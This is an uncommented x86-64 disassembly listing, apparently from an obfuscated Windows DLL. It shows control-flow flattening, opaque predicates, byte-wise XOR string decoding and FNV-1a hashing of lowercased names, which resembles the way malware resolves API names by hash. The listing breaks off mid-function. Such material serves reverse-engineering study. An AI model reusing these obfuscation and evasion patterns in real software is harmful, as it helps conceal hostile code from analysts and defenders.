mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov rdi, qword [rsp + 0x50]
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov ecx, 0x421c6ceb
cmovne ecx, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov eax, 0x9a6925eb
nop
cmp eax, 0xf4016426
je 0x1800243f5
cmp eax, 0x9a6925eb
jne 0x180024310
mov qword [rsp + 0xd0], r13
mov eax, 0x5ac88103
nop
cmp eax, 0x421c6cea
jle 0x180024360
cmp eax, 0x421c6ceb
je 0x180024370
cmp eax, 0x5ac88103
je 0x18002437f
cmp eax, 0x7b4b1528
jne 0x180024330
mov eax, 0xb5db12b
jmp 0x180024330
cmp eax, 0xcfd5a871
je 0x180024383
cmp eax, 0xb5db12b
jne 0x180024330
jmp 0x180024396
mov rax, qword [rsp + 0xd0]
mov eax, 0xcfd5a871
jmp 0x180024330
mov eax, esi
jmp 0x180024330
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov eax, ecx
jmp 0x180024330
movsx eax, byte [rsp + 0x38]
xor eax, 0x41
mov dword [rsp + 0x30], eax
mov eax, 0xf4016426
jmp 0x180024310
mov eax, dword [rsp + 0x30]
mov byte [rdi + 1], al
add rdi, 2
mov qword [rsp + 0x50], rdi
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x5a2dded8
cmove edi, r12d
cmp dword [0x18012954c], 0xa
cmovl edi, r12d
jmp 0x180023cd0
mov eax, dword [rsp + 0x30]
mov byte [rdi + 1], al
mov edi, 0x41e34487
jmp 0x180023cd0
mov eax, dword [rsp + 0x30]
mov byte [rdi + 1], al
add rdi, 2
mov qword [rsp + 0x90], rdi
mov rax, qword [rsp + 0x28]
add rax, 0xe
mov qword [rsp + 0xc0], rax
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xa23de5d6
cmove edi, r14d
cmp dword [0x18012954c], 0xa
cmovl edi, r14d
jmp 0x180023cd0
cmp edi, 0x863da0cf
jne 0x180023cd0
lea rcx, [rsp + 0xb0]
call fcn.18002bac0
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r15d, 0x9302de66
mov ecx, 0x7343bfbc
cmove r15d, ecx
mov r12d, 0x181b9de8
cmove r12d, ecx
mov ecx, 0x28ad3f39
mov r8d, 0x87cbc1a8
mov r9d, 0xfe90a09c
mov r10d, 0x1dd0b01
mov r11d, 0x5cca55f5
mov r14d, 0xfb306983
movabs r13, 0xcbf29ce484222325
jmp 0x180024500
mov ecx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, 0x181b9de8
nop dword [rax]
cmp ecx, 0xfe90a09b
jle 0x180024570
cmp ecx, 0x333d8297
jle 0x1800245c0
cmp ecx, 0x5cca55f4
jg 0x18002463a
cmp ecx, 0x333d8298
je 0x1800246f4
cmp ecx, 0x33ec62ab
je 0x180024707
cmp ecx, 0x42d422e5
jne 0x180024500
mov dword [rsp + 0x28], esi
mov ecx, dword [rsp + 0x28]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x4c], ecx
mov ecx, dword [rsp + 0x4c]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r14d
jmp 0x180024500
cmp ecx, 0xc5fd57a7
jle 0x180024600
cmp ecx, 0xeb000b68
jg 0x18002466a
cmp ecx, 0xc5fd57a8
je 0x180024715
cmp ecx, 0xd1e81d16
je 0x180024721
cmp ecx, 0xd597d4ff
jne 0x180024500
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x48]
jmp 0x180024500
cmp ecx, 0x12a1b9d7
jle 0x180024698
cmp ecx, 0x12a1b9d8
je 0x180024734
cmp ecx, 0x181b9de8
je 0x180024743
cmp ecx, 0x28ad3f39
jne 0x180024500
mov ecx, 0x73f80f82
jmp 0x180024500
cmp ecx, 0xb163ad29
jle 0x1800246c6
cmp ecx, 0xb163ad2a
je 0x180024779
cmp ecx, 0xb9d33223
je 0x18002479d
cmp ecx, 0xbb6ed30e
jne 0x180024500
mov ecx, 0x12a1b9d8
jmp 0x180024500
cmp ecx, 0x5cca55f5
je 0x1800247ab
cmp ecx, 0x7343bfbc
je 0x1800244c0
cmp ecx, 0x73f80f82
jne 0x180024500
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180024500
cmp ecx, 0xeb000b69
je 0x1800247c0
cmp ecx, 0xfb306983
jne 0x18002482b
mov ecx, dword [rsp + 0x4c]
cmp ecx, 0x7f
setl byte [rsp + 0x64]
mov ecx, 0x333d8298
jmp 0x180024500
cmp ecx, 0xfe90a09c
je 0x1800247e4
cmp ecx, 0x1dd0b01
jne 0x180024500
mov ecx, dword [rsp + 0x24]
cmp ecx, 0x5b
setl byte [rsp + 0x60]
mov ecx, 0xd1e81d16
jmp 0x180024500
cmp ecx, 0x87cbc1a8
je 0x180024812
cmp ecx, 0x9302de66
jne 0x180024500
mov rbp, qword [rsp + 0xc0]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0x30]
jmp 0x180024500
cmp byte [rsp + 0x64], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r11d
jmp 0x180024500
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x38]
jmp 0x180024500
mov dword [rsp + 0x50], ebx
mov ecx, r12d
jmp 0x180024500
cmp byte [rsp + 0x60], 0
mov ecx, 0xb9d33223
cmovne ecx, r9d
jmp 0x180024500
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r13
jmp 0x180024500
movsxd rcx, dword [rsp + 0x50]
xor rcx, qword [rsp + 0xd0]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov qword [rsp + 0xc0], rcx
mov ecx, dword [rsp + 0x40]
add ecx, 1
mov dword [rsp + 0x30], ecx
mov ecx, r15d
jmp 0x180024500
mov dword [rsp + 0x40], edi
mov qword [rsp + 0xd0], rbp
mov ecx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x40]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r8d
jmp 0x180024500
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x24]
jmp 0x180024500
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0x48], ecx
mov ecx, 0xd597d4ff
jmp 0x180024500
mov rcx, qword [rsp + 0x90]
movsx ecx, byte [rcx]
mov dword [rsp + 0x24], ecx
mov ecx, dword [rsp + 0x24]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r10d
jmp 0x180024500
mov ecx, dword [rsp + 0x24]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x38], ecx
mov ecx, 0x33ec62ab
jmp 0x180024500
mov ecx, dword [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x90], rcx
mov ecx, 0xeb000b69
jmp 0x180024500
cmp ecx, 0xf6d6bd87
jne 0x180024500
mov rcx, qword [rsp + 0xd0]
call fcn.1800e9be0
mov qword [rsp + 0x78], rax
lea r15, [rsp + 0xa0]
mov qword [rsp + 0x70], r15
mov rax, qword [rsp + 0x70]
mov eax, 0xfb86400f
mov r13d, 0x5fd70ca3
mov r12d, 0x6dfa097a
mov r14d, 0x6e794a57
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xfb86400e
jle 0x1800248d0
cmp eax, 0x6e794a57
je 0x1800248e9
cmp eax, 0x428753f6
je 0x180026e5a
cmp eax, 0xfb86400f
jne 0x180024880
mov eax, dword [0x1801294e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90d50abe
cmove eax, r14d
cmp dword [0x1801294e4], 0xa
cmovl eax, r14d
jmp 0x180024880
cmp eax, 0x90d50abe
je 0x180024a07
cmp eax, 0xb557e4ce
jne 0x180024880
mov eax, 0x428753f6
jmp 0x180024880
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov byte [rax], 0x6a
mov rax, qword [rsp + 0x30]
mov ebx, dword [0x1801299a0]
mov esi, dword [0x1801299a4]
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp esi, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
nop
cmp ebx, 0x5c67ca94
je 0x180024b27
cmp ebx, 0xafb3877
jne 0x180024930
test dl, 1
sete byte [rsp + 0x28]
cmp esi, 0xa
setl byte [rsp + 0x40]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x1800249a0
cmp ebx, 0xa94e0ffe
je 0x1800249ee
cmp ebx, 0xac711a38
je 0x1800249c4
cmp ebx, 0xbaede16c
jne 0x180024960
movzx ecx, byte [rsp + 0x28]
cmp byte [rsp + 0x40], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test cl, cl
cmovne ebx, r12d
jmp 0x180024960
cmp ebx, 0xc7d2152d
je 0x1800249da
cmp ebx, 0x5fd70ca3
je 0x1800249e4
cmp ebx, 0x6dfa097a
jne 0x180024960
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180024960
mov rcx, qword [rsp + 0xd0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x50], cl
mov ebx, 0xa94e0ffe
jmp 0x180024960
mov ebx, 0x6dfa097a
jmp 0x180024960
mov ebx, 0xac711a38
jmp 0x180024960
movsx ecx, byte [rsp + 0x50]
xor ecx, 0x77
mov dword [rsp + 0x90], ecx
mov ebx, 0x5c67ca94
jmp 0x180024930
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov byte [rax], 0x6a
mov rax, qword [rsp + 0x30]
mov ebp, dword [0x1801299a0]
mov esi, dword [0x1801299a4]
lea edx, [rbp - 1]
imul edx, ebp
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp esi, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x5c67ca94
je 0x180024c47
cmp ebx, 0xafb3877
jne 0x180024a50
test dl, 1
sete byte [rsp + 0x28]
cmp esi, 0xa
setl byte [rsp + 0x40]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180024ac0
cmp ebx, 0xa94e0ffe
je 0x180024b0e
cmp ebx, 0xac711a38
je 0x180024ae4
cmp ebx, 0xbaede16c
jne 0x180024a80
movzx ecx, byte [rsp + 0x28]
cmp byte [rsp + 0x40], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test cl, cl
cmovne ebx, r12d
jmp 0x180024a80
cmp ebx, 0xc7d2152d
je 0x180024afa
cmp ebx, 0x5fd70ca3
je 0x180024b04
cmp ebx, 0x6dfa097a
jne 0x180024a80
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180024a80
mov rcx, qword [rsp + 0xd0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x50], cl
mov ebx, 0xa94e0ffe
jmp 0x180024a80
mov ebx, 0x6dfa097a
jmp 0x180024a80
mov ebx, 0xac711a38
jmp 0x180024a80
movsx ecx, byte [rsp + 0x50]
xor ecx, 0x77
mov dword [rsp + 0x90], ecx
mov ebx, 0x5c67ca94
jmp 0x180024a50
mov ecx, dword [rsp + 0x90]
mov byte [rax + 1], cl
add rax, 2
mov qword [rsp + 0x28], rax
mov edx, dword [0x1801299a0]
mov edi, dword [0x1801299a4]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov ebx, 0xc7d2152d
cmove ebx, r13d
cmp edi, 0xa
cmovl ebx, r13d
mov edx, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edx, 0x5c67ca94
je 0x180024d67
cmp edx, 0xafb3877
jne 0x180024b70
test cl, 1
sete byte [rsp + 0x38]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov edx, 0xbaede16c
nop dword [rax]
cmp edx, 0xc7d2152c
jg 0x180024be0
cmp edx, 0xa94e0ffe
je 0x180024c2e
cmp edx, 0xac711a38
je 0x180024c04
cmp edx, 0xbaede16c
jne 0x180024ba0
movzx eax, byte [rsp + 0x38]
cmp byte [rsp + 0x40], 0
mov edx, 0xc7d2152d
cmovne edx, r12d
test al, al
cmovne edx, r12d
jmp 0x180024ba0
cmp edx, 0xc7d2152d
je 0x180024c1a
cmp edx, 0x5fd70ca3
je 0x180024c24
cmp edx, 0x6dfa097a
jne 0x180024ba0
mov qword [rsp + 0xd0], r15
mov edx, ebx
jmp 0x180024ba0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
mov edx, 0xa94e0ffe
jmp 0x180024ba0
mov edx, 0x6dfa097a
jmp 0x180024ba0
mov edx, 0xac711a38
jmp 0x180024ba0
movsx eax, byte [rsp + 0x50]
xor eax, 0x69
mov dword [rsp + 0x90], eax
mov edx, 0x5c67ca94
jmp 0x180024b70
mov ecx, dword [rsp + 0x90]
mov byte [rax + 1], cl
add rax, 2
mov qword [rsp + 0x28], rax
mov edx, dword [0x1801299a0]
mov ebp, dword [0x1801299a4]
lea ecx, [rdx - 1]
imul ecx, edx
test cl, 1
mov ebx, 0xc7d2152d
cmove ebx, r13d
cmp ebp, 0xa
cmovl ebx, r13d
mov edx, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edx, 0x5c67ca94
je 0x1800257aa
cmp edx, 0xafb3877
jne 0x180024c90
test cl, 1
sete byte [rsp + 0x38]
cmp ebp, 0xa
setl byte [rsp + 0x40]
mov edx, 0xbaede16c
nop dword [rax]
cmp edx, 0xc7d2152c
jg 0x180024d00
cmp edx, 0xa94e0ffe
je 0x180024d4e
cmp edx, 0xac711a38
je 0x180024d24
cmp edx, 0xbaede16c
jne 0x180024cc0
movzx eax, byte [rsp + 0x38]
cmp byte [rsp + 0x40], 0
mov edx, 0xc7d2152d
cmovne edx, r12d
test al, al
cmovne edx, r12d
jmp 0x180024cc0
cmp edx, 0xc7d2152d
je 0x180024d3a
cmp edx, 0x5fd70ca3
je 0x180024d44
cmp edx, 0x6dfa097a
jne 0x180024cc0
mov qword [rsp + 0xd0], r15
mov edx, ebx
jmp 0x180024cc0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
mov edx, 0xa94e0ffe
jmp 0x180024cc0
mov edx, 0x6dfa097a
jmp 0x180024cc0
mov edx, 0xac711a38
jmp 0x180024cc0
movsx eax, byte [rsp + 0x50]
xor eax, 0x69
mov dword [rsp + 0x90], eax
mov edx, 0x5c67ca94
jmp 0x180024c90
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0x60], al
mov ecx, 0xf9b0050d
nop word [rax + rax]
cmp ecx, 0xf9b0050c
jg 0x180024dc0
cmp ecx, 0xa17ad67b
je 0x1800261eb
cmp ecx, 0xd35b191d
jne 0x180024d80
mov byte [rbp], 0
add rbp, 1
cmp rbp, qword [rsp + 0x90]
mov ecx, 0xd35b191d
mov eax, 0xa17ad67b
cmove ecx, eax
jmp 0x180024d80
cmp ecx, 0x36ac4e6
je 0x180024ee4
cmp ecx, 0xf9b0050d
jne 0x180024d80
mov rcx, qword [rsp + 0x28]
mov dl, byte [rsp + 0x60]
mov byte [rcx], dl
mov rcx, qword [rsp + 0x28]
mov edi, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop
cmp edi, 0x5c67ca94
je 0x180024ff6
cmp edi, 0xafb3877
jne 0x180024e10
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x180024e80
cmp edi, 0xa94e0ffe
je 0x180024ece
cmp edi, 0xac711a38
je 0x180024ea4
cmp edi, 0xbaede16c
jne 0x180024e40
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180024e40
cmp edi, 0xc7d2152d
je 0x180024eba
cmp edi, 0x5fd70ca3
je 0x180024ec4
cmp edi, 0x6dfa097a
jne 0x180024e40
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180024e40
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180024e40
mov edi, 0x6dfa097a
jmp 0x180024e40
mov edi, 0xac711a38
jmp 0x180024e40
movsx eax, byte [rsp + 0x24]
xor eax, 0x6e
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180024e10
mov rax, qword [rsp + 0x50]
mov r8b, byte [rax]
mov ebp, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rbp - 1]
imul edx, ebp
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
cmp ebx, 0x5c67ca94
je 0x180025104
cmp ebx, 0xafb3877
jne 0x180024f20
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180024f90
cmp ebx, 0xa94e0ffe
je 0x180024fde
cmp ebx, 0xac711a38
je 0x180024fb4
cmp ebx, 0xbaede16c
jne 0x180024f50
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180024f50
cmp ebx, 0xc7d2152d
je 0x180024fca
cmp ebx, 0x5fd70ca3
je 0x180024fd4
cmp ebx, 0x6dfa097a
jne 0x180024f50
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180024f50
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180024f50
mov ebx, 0x6dfa097a
jmp 0x180024f50
mov ebx, 0xac711a38
jmp 0x180024f50
mov al, byte [rsp + 0x24]
xor al, r8b
movsx eax, al
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180024f20
mov eax, dword [rsp + 0x38]
mov byte [rcx + 1], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word [rax + rax]
cmp edi, 0x5c67ca94
je 0x180025214
cmp edi, 0xafb3877
jne 0x180025030
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x1800250a0
cmp edi, 0xa94e0ffe
je 0x1800250ee
cmp edi, 0xac711a38
je 0x1800250c4
cmp edi, 0xbaede16c
jne 0x180025060
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025060
cmp edi, 0xc7d2152d
je 0x1800250da
cmp edi, 0x5fd70ca3
je 0x1800250e4
cmp edi, 0x6dfa097a
jne 0x180025060
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025060
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025060
mov edi, 0x6dfa097a
jmp 0x180025060
mov edi, 0xac711a38
jmp 0x180025060
movsx eax, byte [rsp + 0x24]
xor eax, 0x69
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025030
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov byte [rcx], al
mov rbp, qword [rsp + 0x40]
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop
cmp ebx, 0x5c67ca94
je 0x180025324
cmp ebx, 0xafb3877
jne 0x180025140
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x1800251b0
cmp ebx, 0xa94e0ffe
je 0x1800251fe
cmp ebx, 0xac711a38
je 0x1800251d4
cmp ebx, 0xbaede16c
jne 0x180025170
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025170
cmp ebx, 0xc7d2152d
je 0x1800251ea
cmp ebx, 0x5fd70ca3
je 0x1800251f4
cmp ebx, 0x6dfa097a
jne 0x180025170
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025170
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025170
mov ebx, 0x6dfa097a
jmp 0x180025170
mov ebx, 0xac711a38
jmp 0x180025170
movsx eax, byte [rsp + 0x24]
xor eax, 0x2e
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025140
mov eax, dword [rsp + 0x38]
mov byte [rcx + 2], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edi, 0x5c67ca94
je 0x180025434
cmp edi, 0xafb3877
jne 0x180025250
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x1800252c0
cmp edi, 0xa94e0ffe
je 0x18002530e
cmp edi, 0xac711a38
je 0x1800252e4
cmp edi, 0xbaede16c
jne 0x180025280
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x180025280
cmp edi, 0xc7d2152d
je 0x1800252fa
cmp edi, 0x5fd70ca3
je 0x180025304
cmp edi, 0x6dfa097a
jne 0x180025280
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x180025280
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x180025280
mov edi, 0x6dfa097a
jmp 0x180025280
mov edi, 0xac711a38
jmp 0x180025280
movsx eax, byte [rsp + 0x24]
xor eax, 0x6e
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025250
mov eax, dword [rsp + 0x38]
mov byte [rbp + 1], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
nop
cmp ebx, 0x5c67ca94
je 0x180025544
cmp ebx, 0xafb3877
jne 0x180025360
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x1800253d0
cmp ebx, 0xa94e0ffe
je 0x18002541e
cmp ebx, 0xac711a38
je 0x1800253f4
cmp ebx, 0xbaede16c
jne 0x180025390
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x180025390
cmp ebx, 0xc7d2152d
je 0x18002540a
cmp ebx, 0x5fd70ca3
je 0x180025414
cmp ebx, 0x6dfa097a
jne 0x180025390
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x180025390
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x180025390
mov ebx, 0x6dfa097a
jmp 0x180025390
mov ebx, 0xac711a38
jmp 0x180025390
movsx eax, byte [rsp + 0x24]
xor eax, 0x64
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025360
mov eax, dword [rsp + 0x38]
mov byte [rcx + 3], al
mov eax, dword [0x1801299a0]
mov edx, dword [0x1801299a4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov esi, 0xc7d2152d
cmove esi, r13d
cmp edx, 0xa
cmovl esi, r13d
mov edi, 0xafb3877
nop word cs:[rax + rax]
nop
cmp edi, 0x5c67ca94
je 0x180025654
cmp edi, 0xafb3877
jne 0x180025470
test bl, 1
sete byte [rsp + 0x4c]
cmp edx, 0xa
setl byte [rsp + 0x48]
mov edi, 0xbaede16c
nop dword [rax]
cmp edi, 0xc7d2152c
jg 0x1800254e0
cmp edi, 0xa94e0ffe
je 0x18002552e
cmp edi, 0xac711a38
je 0x180025504
cmp edi, 0xbaede16c
jne 0x1800254a0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov edi, 0xc7d2152d
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x1800254a0
cmp edi, 0xc7d2152d
je 0x18002551a
cmp edi, 0x5fd70ca3
je 0x180025524
cmp edi, 0x6dfa097a
jne 0x1800254a0
mov qword [rsp + 0xd0], r15
mov edi, esi
jmp 0x1800254a0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov edi, 0xa94e0ffe
jmp 0x1800254a0
mov edi, 0x6dfa097a
jmp 0x1800254a0
mov edi, 0xac711a38
jmp 0x1800254a0
movsx eax, byte [rsp + 0x24]
xor eax, 0x65
mov dword [rsp + 0x38], eax
mov edi, 0x5c67ca94
jmp 0x180025470
mov eax, dword [rsp + 0x38]
mov byte [rbp + 2], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop word cs:[rax + rax]
nop
cmp ebx, 0x5c67ca94
je 0x18002567a
cmp ebx, 0xafb3877
jne 0x180025580
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x1800255f0
cmp ebx, 0xa94e0ffe
je 0x18002563e
cmp ebx, 0xac711a38
je 0x180025614
cmp ebx, 0xbaede16c
jne 0x1800255b0
movzx eax, byte [rsp + 0x4c]
cmp byte [rsp + 0x48], 0
mov ebx, 0xc7d2152d
cmovne ebx, r12d
test al, al
cmovne ebx, r12d
jmp 0x1800255b0
cmp ebx, 0xc7d2152d
je 0x18002562a
cmp ebx, 0x5fd70ca3
je 0x180025634
cmp ebx, 0x6dfa097a
jne 0x1800255b0
mov qword [rsp + 0xd0], r15
mov ebx, edi
jmp 0x1800255b0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24], al
mov ebx, 0xa94e0ffe
jmp 0x1800255b0
mov ebx, 0x6dfa097a
jmp 0x1800255b0
mov ebx, 0xac711a38
jmp 0x1800255b0
movsx eax, byte [rsp + 0x24]
xor eax, 0x6c
mov dword [rsp + 0x38], eax
mov ebx, 0x5c67ca94
jmp 0x180025580
mov eax, dword [rsp + 0x38]
mov byte [rcx + 4], al
add rcx, 5
mov qword [rsp + 0x40], rcx
lea rax, [0x18011f9c0]
mov qword [rsp + 0x50], rax
mov ecx, 0x36ac4e6
jmp 0x180024d80
mov eax, dword [rsp + 0x38]
mov byte [rbp + 3], al
mov eax, dword [0x1801299a0]
mov ecx, dword [0x1801299a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xc7d2152d
cmove edi, r13d
cmp ecx, 0xa
cmovl edi, r13d
mov ebx, 0xafb3877
nop dword [rax + rax]
cmp ebx, 0x5c67ca94
je 0x180025784
cmp ebx, 0xafb3877
jne 0x1800256b0
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x48]
mov ebx, 0xbaede16c
nop dword [rax]
cmp ebx, 0xc7d2152c
jg 0x180025720
cmp ebx, 0xa94e0ffe
je 0x18002576e
cmp ebx, 0xac711a38
je 0x180025744
cmp ebx, 0xbaede16c
jne 0x1800256e0
movzx eax, byte [rsp + 0x4c]
